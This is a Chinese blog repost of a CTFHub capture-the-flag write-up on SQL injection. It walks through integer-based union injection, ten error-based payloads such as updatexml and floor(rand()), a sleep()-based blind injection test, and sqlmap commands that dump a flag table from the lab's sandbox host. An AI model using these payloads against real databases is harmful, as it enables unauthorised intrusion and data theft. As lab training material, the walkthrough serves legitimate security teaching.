CTFHub数据库注入WriteUP

2024-03-14 09:18

本文主要是介绍CTFHub数据库注入WriteUP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

点击"仙网攻城狮”关注我们哦~

不当想研发的渗透人不是好运维

让我们每天进步一点点

简介

CTFHub 为网络安全工程师提供网络安全攻防技能培训、实战、技能提升等服务。

「赛事中心」提供全网最全最新的 CTF 赛事信息,关注赛事定制自己专属的比赛日历吧。

「技能树」提供清晰的 CTF 学习路线,想要变强就加点,哪里不会点哪里。

「历年真题」提供无限次赛后复盘,边学边练。

「工具」提供各类常用工具,打仗没有一把趁手的武器怎么行。

实战

下面将为大家讲解sql注入的几种常见类型,本篇文章将讲解整数型、报错、盲注三种类型注入。

一、整数型

1.根据提示输入一个1,为了方便学习,页面中已经把整个查询语句输出。

2.根据语句逻辑进行语句构建和一些尝试,使用and来检测是否存在注入:1 and 1=1 、 1 and 1=2

select * from news where id=1 and 1=1      回显正确提示id=1
select * from news where id=1 and 1=2      回显错误未显示id值

3.使用union来进行组合查询来看看数据库名,输入:1 and 1=2 union select 1,database(); 数据库名:sqli

4.查看表名,得到两张表news,flag

1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

5.查看flag表中列名,列名为:flag

1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

6.查看字段名,获得flag

1 and 1=2 union select 1,group_concat(flag) from sqli.flag

二、报错注入

1.同样根据提示进行,输入1后会显示查询正确

2.使用1 and 1=2 union select 1,database();来查询数据库名,发现无任何信息。

3.故意输入错误的查询语句查看一下,发现会回显其他信息提醒我第一行有错误。

4.尝试报错函数,下面列出10种常见的报错函数

1.floor()
id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
2.extractvalue()
id = 1 and EXP(~(SELECT * from(select user())a));
3.updatexml()
id = 1 and (updatexml(0x3a,concat(1,(select user())),1));
4.exp()
id =1 and EXP(~(SELECT * from(select user())a));
5.GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b));
6.polygon()
id =1 and polygon((select * from(select * from(select user())a)b));
7.multipoint()
id = 1 and multipoint((select * from(select * from(select user())a)b));
8.multilinestring()
id = 1 and multilinestring((select * from(select * from(select user())a)b));
9.linestring()
id = 1 and LINESTRING((select * from(select * from(select user())a)b));
10.multipolygon()
id =1 and multipolygon((select * from(select * from(select user())a)b));

5.经过尝试发现好几种都可以使用,使用下面查询数据库

1 Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
x就是相当于 as x,设一个别名
原理:group by 查询时,先建立一个空表,用来临时存储数据,
开始查询,group by x,序列一开始为0,临时空表里不存在就填入,之后 select 中也有rand(),值为1,插入1;
查询第二条,值为1,原有值加1
查第三条,值为0,则插入select的值,为1,与原有值冲突报错。

6.查询表名

7.查询列名

1 Union select count(*),concat((select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

8.查询字段

1 Union select count(*),concat((select flag from flag limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

三、时间盲注

1.根据提示看到什么都不会返回

2.首先判断一下是否存在时间盲注,发现页面卡顿3秒,证明是有时间盲注的。

1 and if(length(database())>=0,sleep(3),1)


3.因为基于盲注的基本是都需要借助脚本或者工具进行猜解,这里我们使用sqlmap进行注入得到库名

sqlmap --url="http://challenge-e375ec8bdcad0084.sandbox.ctfhub.com:10800?id=1" --current-db

4.爆表名

sqlmap --url="http://challenge-e375ec8bdcad0084.sandbox.ctfhub.com:10800?id=1" -D sqli --tables

5.爆列名

sqlmap --url="http://challenge-e375ec8bdcad0084.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag --columns

6.爆字段,得到flag

sqlmap --url="http://challenge-e375ec8bdcad0084.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag -C flag --dump

总结:想要了解sql注入原理的可以尝试自己手工注入,不想的话用sqlmap无脑梭哈就行

往期内容

CTFHub信息泄露WriteUP

ATT&CK红队评估(一)拿下域控权限

元宵节福利,免费赠送三套CTF竞赛视频教程

更多资讯长按二维码 关注我们

觉得不错点个“赞”呗      

这篇关于CTFHub数据库注入WriteUP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/807934

相关文章

SpringBoot中@Value注入静态变量方式

《SpringBoot中@Value注入静态变量方式》SpringBoot中静态变量无法直接用@Value注入,需通过setter方法,@Value(${})从属性文件获取值,@Value(#{})用... 目录项目场景解决方案注解说明1、@Value("${}")使用示例2、@Value("#{}"php

Linux下MySQL数据库定时备份脚本与Crontab配置教学

《Linux下MySQL数据库定时备份脚本与Crontab配置教学》在生产环境中,数据库是核心资产之一,定期备份数据库可以有效防止意外数据丢失,本文将分享一份MySQL定时备份脚本,并讲解如何通过cr... 目录备份脚本详解脚本功能说明授权与可执行权限使用 Crontab 定时执行编辑 Crontab添加定

深入浅出Spring中的@Autowired自动注入的工作原理及实践应用

《深入浅出Spring中的@Autowired自动注入的工作原理及实践应用》在Spring框架的学习旅程中,@Autowired无疑是一个高频出现却又让初学者头疼的注解,它看似简单,却蕴含着Sprin... 目录深入浅出Spring中的@Autowired:自动注入的奥秘什么是依赖注入?@Autowired

如何通过try-catch判断数据库唯一键字段是否重复

《如何通过try-catch判断数据库唯一键字段是否重复》在MyBatis+MySQL中,通过try-catch捕获唯一约束异常可避免重复数据查询,优点是减少数据库交互、提升并发安全,缺点是异常处理开... 目录1、原理2、怎么理解“异常走的是数据库错误路径,开销比普通逻辑分支稍高”?1. 普通逻辑分支 v

Spring 依赖注入与循环依赖总结

《Spring依赖注入与循环依赖总结》这篇文章给大家介绍Spring依赖注入与循环依赖总结篇,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. Spring 三级缓存解决循环依赖1. 创建UserService原始对象2. 将原始对象包装成工

Python与MySQL实现数据库实时同步的详细步骤

《Python与MySQL实现数据库实时同步的详细步骤》在日常开发中,数据同步是一项常见的需求,本篇文章将使用Python和MySQL来实现数据库实时同步,我们将围绕数据变更捕获、数据处理和数据写入这... 目录前言摘要概述:数据同步方案1. 基本思路2. mysql Binlog 简介实现步骤与代码示例1

使用shardingsphere实现mysql数据库分片方式

《使用shardingsphere实现mysql数据库分片方式》本文介绍如何使用ShardingSphere-JDBC在SpringBoot中实现MySQL水平分库,涵盖分片策略、路由算法及零侵入配置... 目录一、ShardingSphere 简介1.1 对比1.2 核心概念1.3 Sharding-Sp

Spring-DI依赖注入全过程

《Spring-DI依赖注入全过程》SpringDI是核心特性,通过容器管理依赖注入,降低耦合度,实现方式包括组件扫描、构造器/设值/字段注入、自动装配及作用域配置,支持灵活的依赖管理与生命周期控制,... 目录1. 什么是Spring DI?2.Spring如何做的DI3.总结1. 什么是Spring D

Go语言连接MySQL数据库执行基本的增删改查

《Go语言连接MySQL数据库执行基本的增删改查》在后端开发中,MySQL是最常用的关系型数据库之一,本文主要为大家详细介绍了如何使用Go连接MySQL数据库并执行基本的增删改查吧... 目录Go语言连接mysql数据库准备工作安装 MySQL 驱动代码实现运行结果注意事项Go语言执行基本的增删改查准备工作

MySQL 数据库表操作完全指南:创建、读取、更新与删除实战

《MySQL数据库表操作完全指南:创建、读取、更新与删除实战》本文系统讲解MySQL表的增删查改(CURD)操作,涵盖创建、更新、查询、删除及插入查询结果,也是贯穿各类项目开发全流程的基础数据交互原... 目录mysql系列前言一、Create(创建)并插入数据1.1 单行数据 + 全列插入1.2 多行数据